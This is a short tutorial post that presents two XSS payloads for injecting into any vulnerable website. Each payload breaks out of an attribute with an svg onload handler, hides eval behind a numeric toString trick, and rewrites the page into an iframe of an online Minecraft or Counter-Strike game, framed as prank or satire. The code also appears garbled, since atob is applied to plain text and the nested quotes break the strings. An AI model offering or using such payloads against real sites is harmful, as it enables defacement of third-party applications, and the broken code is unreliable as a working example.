Hello guys, today I’m going to teach you how to play inside any website that has an XSS flaw.
This technique is more aimed at making fun videos satirizing websites or even playing with your friends…
The code is very simple because it only emblems the application of the game in question and an opening of fields to carry out the tests of mandatory, parameters to actually make the reading of the code.
The original Code where I got it had a series of encryptions like Base64 and Uncle that often did not work in all browsers or even antivirus blocked the site for using encapsulated codes.
Code to play Minecraft
"><svg/onload=window[490837..toString(1<<5)](atob('document.addEventListener("DOMContentLoaded", function(event) {
var pocpage = "<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Let's Mine Time</title>
<p>test
<style type="text/css">
body, html
{
margin: 0; padding: 0; height: 100%; overflow: hidden;
}
#content
{
position:absolute; left: 0; right: 0; bottom: 0; top: 0px;
}
</style>
</head>
<body>
<center>
<div id="content">
<iframe width="1200" height="600" frameborder="0" src="{https://classic.minecraft.net/?size=small}" />
</div>
</center>
</body>
</html>";
document.open();
document.write(atob(pocpage));
document.close();
});'))>
Code to play Counter Strike
"><svg/onload=window[490837..toString(1<<5)](atob('document.addEventListener("DOMContentLoaded", function(event) {
var pocpage = "<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>access sec lab- cs1.6</title>
<p>test
<style type="text/css">
body, html
{
margin: 0; padding: 0; height: 100%; overflow: hidden;
}
#content
{
position:absolute; left: 0; right: 0; bottom: 0; top: 0px;
}
</style>
</head>
<body>
<div id="content">
<iframe width="100%" height="100%" frameborder="0" src="https://game.cs-online.club/pt/de_dust2_2x2_snow/27311/br" />
</div>
</body>
</html>";
document.open();
document.write(atob(pocpage));
document.close();
});'))>